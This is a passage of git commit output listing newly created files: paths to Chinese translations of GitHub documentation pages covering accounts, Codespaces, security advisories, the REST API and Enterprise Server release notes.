translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account.md create mode 100644 translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts.md create mode 100644 translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md create mode 100644 translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise.md create mode 100644 translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/overview-of-github-advanced-security-deployment.md create mode 100644 translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md create mode 100644 translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md create mode 100644 translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/index.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/index.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/index.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups.md create mode 100644 translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise.md create mode 100644 translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md create mode 100644 translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md create mode 100644 translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-copilot-in-your-enterprise.md create mode 100644 translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md create mode 100644 translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md create mode 100644 translations/zh-CN/content/authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account.md create mode 100644 translations/zh-CN/content/authentication/troubleshooting-commit-signature-verification/updating-an-expired-gpg-key.md create mode 100644 translations/zh-CN/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md create mode 100644 translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md create mode 100644 translations/zh-CN/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md create mode 100644 translations/zh-CN/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md create mode 100644 translations/zh-CN/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-for-individuals-subscription.md create mode 100644 translations/zh-CN/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md create mode 100644 translations/zh-CN/content/billing/managing-billing-for-github-copilot/viewing-your-github-copilot-usage.md create mode 100644 translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database.md create mode 100644 translations/zh-CN/content/code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database.md create mode 100644 translations/zh-CN/content/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/about-github-security-advisories-for-repositories.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/creating-a-repository-security-advisory.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/editing-a-repository-security-advisory.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/index.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/publishing-a-repository-security-advisory.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md create mode 100644 translations/zh-CN/content/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory.md create mode 100644 translations/zh-CN/content/code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities.md create mode 100644 translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md create mode 100644 translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-registry.md create mode 100644 translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/codespaces-reference/security-in-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/codespaces-reference/using-github-copilot-in-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md create mode 100644 translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md create mode 100644 translations/zh-CN/content/codespaces/developing-in-codespaces/creating-a-codespace.md create mode 100644 translations/zh-CN/content/codespaces/developing-in-codespaces/renaming-a-codespace.md create mode 100644 translations/zh-CN/content/codespaces/developing-in-codespaces/the-codespace-lifecycle.md create mode 100644 translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests.md create mode 100644 translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md create mode 100644 translations/zh-CN/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md create mode 100644 translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md create mode 100644 translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md create mode 100644 translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization.md create mode 100644 translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/prebuilding-your-codespaces/about-codespaces-prebuilds.md create mode 100644 translations/zh-CN/content/codespaces/troubleshooting/codespaces-logs.md create mode 100644 translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md create mode 100644 translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces.md create mode 100644 translations/zh-CN/content/codespaces/troubleshooting/working-with-support-for-codespaces.md create mode 100644 translations/zh-CN/content/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account.md create mode 100644 translations/zh-CN/content/copilot/configuring-github-copilot/configuring-github-copilot-settings-in-your-organization.md create mode 100644 translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md create mode 100644 translations/zh-CN/content/discussions/managing-discussions-for-your-community/creating-discussion-category-forms.md create mode 100644 translations/zh-CN/content/discussions/managing-discussions-for-your-community/syntax-for-discussion-category-forms.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/index.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/index.md create mode 100644 translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md create mode 100644 translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md create mode 100644 translations/zh-CN/content/github/copilot/about-github-copilot-telemetry.md create mode 100644 translations/zh-CN/content/github/copilot/github-copilot-telemetry-terms.md create mode 100644 translations/zh-CN/content/github/copilot/index.md create mode 100644 translations/zh-CN/content/github/copilot/research-recitation.md create mode 100644 translations/zh-CN/content/github/index.md create mode 100644 translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-date-fields.md create mode 100644 translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-iteration-fields.md create mode 100644 translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-single-select-fields.md create mode 100644 translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/about-text-and-number-fields.md create mode 100644 translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/deleting-fields.md create mode 100644 translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/index.md create mode 100644 translations/zh-CN/content/issues/planning-and-tracking-with-projects/understanding-field-types/renaming-fields.md create mode 100644 translations/zh-CN/content/issues/tracking-your-work-with-issues/about-task-lists.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/about-projects.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/automating-projects.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/creating-a-project.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/filtering-projects.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/index.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-iterations.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-projects.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/migrating-your-project.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/quickstart.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-insights-with-projects.md create mode 100644 translations/zh-CN/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md create mode 100644 translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-your-organizations-installed-integrations.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/index.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/index.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md create mode 100644 translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md create mode 100644 translations/zh-CN/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md create mode 100644 translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md create mode 100644 translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md create mode 100644 translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md create mode 100644 translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md create mode 100644 translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md create mode 100644 translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/index.md create mode 100644 translations/zh-CN/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md create mode 100644 translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/configuring-a-remote-for-a-fork.md create mode 100644 translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/working-with-forks/merging-an-upstream-repository-into-your-fork.md create mode 100644 translations/zh-CN/content/rest/codespaces/organization-secrets.md create mode 100644 translations/zh-CN/content/rest/guides/traversing-with-pagination.md create mode 100644 translations/zh-CN/content/rest/guides/using-pagination-in-the-rest-api.md create mode 100644 translations/zh-CN/content/rest/quickstart.md create mode 100644 translations/zh-CN/content/rest/reference/actions.md create mode 100644 translations/zh-CN/content/rest/reference/activity.md create mode 100644 translations/zh-CN/content/rest/reference/apps.md create mode 100644 translations/zh-CN/content/rest/reference/billing.md create mode 100644 translations/zh-CN/content/rest/reference/branches.md create mode 100644 translations/zh-CN/content/rest/reference/checks.md create mode 100644 translations/zh-CN/content/rest/reference/code-scanning.md create mode 100644 translations/zh-CN/content/rest/reference/codes-of-conduct.md create mode 100644 translations/zh-CN/content/rest/reference/codespaces.md create mode 100644 translations/zh-CN/content/rest/reference/collaborators.md create mode 100644 translations/zh-CN/content/rest/reference/commits.md create mode 100644 translations/zh-CN/content/rest/reference/dependabot.md create mode 100644 translations/zh-CN/content/rest/reference/dependency-graph.md create mode 100644 translations/zh-CN/content/rest/reference/deployments.md create mode 100644 translations/zh-CN/content/rest/reference/emojis.md create mode 100644 translations/zh-CN/content/rest/reference/enterprise-admin.md create mode 100644 translations/zh-CN/content/rest/reference/gists.md create mode 100644 translations/zh-CN/content/rest/reference/git.md create mode 100644 translations/zh-CN/content/rest/reference/gitignore.md create mode 100644 translations/zh-CN/content/rest/reference/index.md create mode 100644 translations/zh-CN/content/rest/reference/interactions.md create mode 100644 translations/zh-CN/content/rest/reference/issues.md create mode 100644 translations/zh-CN/content/rest/reference/licenses.md create mode 100644 translations/zh-CN/content/rest/reference/markdown.md create mode 100644 translations/zh-CN/content/rest/reference/meta.md create mode 100644 translations/zh-CN/content/rest/reference/metrics.md create mode 100644 translations/zh-CN/content/rest/reference/migrations.md create mode 100644 translations/zh-CN/content/rest/reference/oauth-authorizations.md create mode 100644 translations/zh-CN/content/rest/reference/orgs.md create mode 100644 translations/zh-CN/content/rest/reference/packages.md create mode 100644 translations/zh-CN/content/rest/reference/pages.md create mode 100644 translations/zh-CN/content/rest/reference/projects.md create mode 100644 translations/zh-CN/content/rest/reference/pulls.md create mode 100644 translations/zh-CN/content/rest/reference/rate-limit.md create mode 100644 translations/zh-CN/content/rest/reference/reactions.md create mode 100644 translations/zh-CN/content/rest/reference/releases.md create mode 100644 translations/zh-CN/content/rest/reference/repos.md create mode 100644 translations/zh-CN/content/rest/reference/scim.md create mode 100644 translations/zh-CN/content/rest/reference/search.md create mode 100644 translations/zh-CN/content/rest/reference/secret-scanning.md create mode 100644 translations/zh-CN/content/rest/reference/teams.md create mode 100644 translations/zh-CN/content/rest/reference/users.md create mode 100644 translations/zh-CN/content/rest/reference/webhooks.md create mode 100644 translations/zh-CN/content/site-policy/privacy-policies/github-data-protection-agreement.md create mode 100644 translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md create mode 100644 translations/zh-CN/data/features/ip-allow-list-address-check.yml create mode 100644 translations/zh-CN/data/features/security-overview-views.yml create mode 100644 translations/zh-CN/data/glossaries/internal.yml create mode 100644 translations/zh-CN/data/graphql/ghes-3.1/graphql_previews.enterprise.yml create mode 100644 translations/zh-CN/data/graphql/ghes-3.2/graphql_previews.enterprise.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/0.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/1.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/10.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/11.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/12.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/13.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/14.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/15.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/16.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/17.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/18.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/19.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/2.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/20.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/21.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/22.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/23.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/24.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/3.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/4.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/5.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/6.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/7.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/8.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-20/9.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/0.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/1.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/10.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/11.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/12.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/13.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/14.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/15.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/16.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/17.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/18.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/19.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/2.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/20.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/21.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/22.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/23.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/3.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/4.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/5.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/6.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/7.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/8.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-21/9.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/0.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/1.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/10.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/11.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/12.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/13.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/14.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/15.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/16.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/17.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/18.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/19.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/2.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/20.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/21.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/22.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/3.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/4.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/5.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/6.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/7.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/8.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/2-22/9.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc1.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc2.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/0.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/1.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/10.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/11.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/12.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/13.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/14.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/15.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/16.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/17.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/18.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/19.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/2.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/20.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/21.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/22.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/23.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/24.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/25.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/3.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/4.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/5.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/6.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/7.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/8.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-0/9.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/0-rc1.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/0.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/1.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/10.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/11.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/12.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/13.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/14.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/15.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/16.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/17.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/18.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/19.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/2.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/20.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/21.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/22.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/3.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/4.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/5.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/6.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/7.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/8.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-1/9.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/0-rc1.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/0.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/1.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/10.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/11.yml create mode 100644 translations/zh-CN/data/release-notes/enterprise-server/3-2/12.yml create mode 100644 